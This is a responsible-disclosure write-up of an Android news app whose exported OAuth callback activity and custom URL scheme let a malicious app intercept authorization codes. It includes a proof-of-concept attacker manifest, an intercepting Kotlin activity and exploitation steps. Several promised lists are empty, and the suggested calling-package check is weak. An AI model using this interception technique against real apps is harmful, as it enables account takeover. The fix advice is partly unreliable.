How a News App Leaked OAuth Codes: A Real-World Interception Story

Severity: High Reward: REDACTED
CVSS Score: 8.7 (High) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Mobile applications are increasingly becoming the primary access point for online services, making their security paramount. Despite the robust security measures built into modern mobile platforms, vulnerabilities can still emerge, especially in the implementation of authentication mechanisms. In this writeup, I'll share my discovery of a critical vulnerability in a news application's Android version that allowed malicious apps to intercept OAuth authorization codes during the login process.

Note on Responsible Disclosure: This vulnerability was responsibly disclosed to the affected organization. All details shared in this post have been approved for publication after the issue was resolved. The target name and specific identifiers have been redacted.

Understanding the Vulnerability Context

OAuth is a widely-used authorization framework that enables third-party applications to access user accounts without exposing credentials. In mobile applications, this typically involves redirecting users to a web view for authentication and then back to the application upon successful login. If this redirection mechanism is improperly implemented, it can potentially allow attackers to intercept sensitive authentication tokens.

The vulnerability I discovered in the news application existed due to two critical issues:

These issues combined could allow a malicious application to intercept the OAuth authorization code when a user completes the login process, potentially leading to unauthorized access to the user's account.

Technical Analysis

Vulnerable Components

After examining the application's manifest file, I discovered that the RedirectActivity, responsible for handling OAuth callbacks, was exported and accessible to other applications on the device:

<activity
    android:name="com.auth0.android.provider.RedirectActivity"
    android:exported="true">
    <intent-filter android:autoVerify="true">
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data
            android:scheme="@string/auth0_scheme_french"
            android:host="@string/auth0_domain_production"
            android:pathPrefix="/android/com.newsplus.reader/callback"/>
    </intent-filter>
</activity>

Additionally, I analyzed the RedirectActivity implementation to understand how it processes OAuth callbacks:

public final class RedirectActivity extends Activity {
    @Override // android.app.Activity
    public void onCreate(Bundle savedInstanceBundle) {
        super.onCreate(savedInstanceBundle);
        Intent intent = new Intent(this, (Class<?>) AuthenticationActivity.class);
        intent.addFlags(603979776);
        if (getIntent() != null) {
            intent.setData(getIntent().getData());
        }
        startActivity(intent);
        finish();
    }
}

This code revealed that the activity simply forwards any received intent data to the AuthenticationActivity. When processing an OAuth callback, this data would include the authorization code. The problem lies in how Android handles intents for exported activities with matching intent filters.

The Attack Vector

When a user completes authentication through the OAuth flow, the browser or WebView attempts to redirect to a URL with the following format:

newsapp://login.auth-domain.com/android/com.newsplus.reader/callback?code=AUTHORIZATION_CODE

Android's intent resolution system will display an app chooser if multiple applications on the device claim to handle this URL scheme. A malicious application could register to handle the same URL pattern, giving it the opportunity to intercept the authorization code if the user selects it from the chooser dialog.

Proof of Concept Exploitation

To demonstrate this vulnerability, I developed a proof-of-concept application that registers to handle the same deep link pattern as the vulnerable news app.

Attacker's Manifest Configuration

<activity
    android:name=".CallbackInterceptorActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <data
            android:host="login.auth-domain.com"
            android:scheme="newsapp"
            android:pathPrefix="/android/com.newsplus.reader/callback" />
    </intent-filter>
</activity>

Malicious Activity Implementation

package com.example.app

import android.content.Intent
import android.net.Uri
import android.os.Bundle
import android.util.Log
import android.widget.TextView
import androidx.appcompat.app.AppCompatActivity

class CallbackInterceptorActivity : AppCompatActivity() {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_callback_interceptor)

        val textViewUrl: TextView = findViewById(R.id.textViewUrl)

        // Get the incoming intent
        val intent: Intent? = intent
        val data: Uri? = intent?.data

        if (data != null) {
            // Display the full URL in the TextView
            val fullUrl = data.toString()
            textViewUrl.text = "Intercepted URL:\n$fullUrl"
            Log.d("CallbackInterceptor", "URL intercepted: $fullUrl")
        } else {
            textViewUrl.text = "No URL intercepted."
            Log.d("CallbackInterceptor", "No URL intercepted.")
        }
    }
}
Exploitation Steps
  1. Install both the target news application and the malicious PoC application on the same device
  2. Open the news application and initiate the login process
  3. Complete the authentication flow through the WebView
  4. When the WebView redirects to the callback URL, Android displays an app chooser dialog
  5. If the user selects the malicious app from the chooser, it receives the full callback URL containing the authorization code
  6. The attacker can extract the code from the URL and use it to gain access to the user's account
%%{init: {'theme': 'dark'}}%% flowchart TD %% Normal OAuth Flow subgraph "Normal OAuth Authentication Flow" A[User initiates login in news app] --> B[News app opens WebView/browser] B --> C[User logs in on OAuth provider's website] C --> D[OAuth provider redirects to app's callback URL] D --> E[RedirectActivity receives authorization code] E --> F[Forward intent with code to AuthenticationActivity] F --> G[Exchange authorization code for access token] G --> H[User logged into news app] end %% Exploitation Flow subgraph "Exploitation Scenario" M[Malicious app installed on device] --> N[Malicious app registers intent filter for callback URL] N --> O[User initiates login in news app] O --> P[News app opens WebView/browser] P --> Q[User logs in on OAuth provider's website] Q --> R[OAuth provider redirects to callback URL] R --> S[Android system presents app chooser] S --> |User selects malicious app| T[Malicious app receives authorization code] T --> U[Malicious app logs/transmits code to attacker] U --> V[Attacker can impersonate user] end

Visualization of the OAuth flow and exploitation scenario

Impact Analysis

If successfully exploited, this vulnerability could lead to:

While this attack has a few mitigating factors that reduce its severity—namely, it requires user interaction to select the malicious app from the chooser dialog and physical access to the device—it still represents a significant security risk, especially for high-profile users who might be targeted specifically.

Remediation Strategies

I recommended several approaches to fix this vulnerability, listed in order of effectiveness:

1. Implement PKCE (Proof Key for Code Exchange)

The most effective solution is to implement the PKCE extension to the OAuth flow. PKCE adds a code verifier that is created by the client app and verified by the authorization server, making the authorization code useless without the corresponding verifier.

// Generate a secure random code verifier
val codeVerifier = PKCEUtil.generateCodeVerifier()

// Generate the code challenge from the verifier
val codeChallenge = PKCEUtil.generateCodeChallenge(codeVerifier)

// Include the code challenge in the authorization request
val authRequestUri = Uri.parse("https://auth-domain.com/authorize")
    .buildUpon()
    .appendQueryParameter("client_id", "CLIENT_ID")
    .appendQueryParameter("response_type", "code")
    .appendQueryParameter("redirect_uri", "newsapp://callback")
    .appendQueryParameter("code_challenge", codeChallenge)
    .appendQueryParameter("code_challenge_method", "S256")
    .build()

2. Add Certificate Pinning and App Link Verification

Using Android App Links with domain verification significantly increases security by ensuring that only the legitimate app can handle the deep links without showing a chooser dialog:

<intent-filter android:autoVerify="true">
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.DEFAULT" />
    <category android:name="android.intent.category.BROWSABLE" />
    <data android:scheme="https" 
          android:host="login.news-app.com" 
          android:pathPattern="/callback" />
</intent-filter>

This requires hosting an assetlinks.json file on the domain to verify ownership and establish the association between the website and the app.

3. Implement Runtime Package Validation

Additionally, the app should validate the calling package at runtime before processing any sensitive callbacks:

private fun validateCallingPackage(): Boolean {
    val callingPackage = callingActivity?.packageName ?: return false
    return callingPackage == "com.legitimate.newsapp" || callingPackage.startsWith("com.android.browser")
}

4. Add User Notifications

As an additional layer of security, the app should notify users about new logins or suspicious activities associated with their accounts.

Security Best Practice: OAuth implementations on mobile platforms should always use PKCE and App Links verification to prevent interception attacks. Following the principle of defense in depth, multiple layers of protection should be implemented rather than relying on a single security mechanism.

Resolution and Reward

After submitting this vulnerability report through the company's bug bounty program, the development team acknowledged the issue and implemented the recommended fixes in their next application update. The main changes they made were:

For this discovery, I was awarded a bounty of REDACTED. While the monetary reward was modest, the real value came from knowing that thousands of users now have a more secure authentication experience when using the news application.

Conclusion

This case study highlights the importance of properly implementing OAuth authentication flows in mobile applications. Even well-established apps can have vulnerabilities in their authentication mechanisms that could lead to account compromise.

For developers building OAuth-based authentication in mobile applications, this serves as a reminder to:

As mobile apps continue to evolve and handle increasingly sensitive user data, these security considerations will only become more critical. By sharing these findings, I hope to contribute to the improvement of security practices across the mobile app development community.

Back to Blog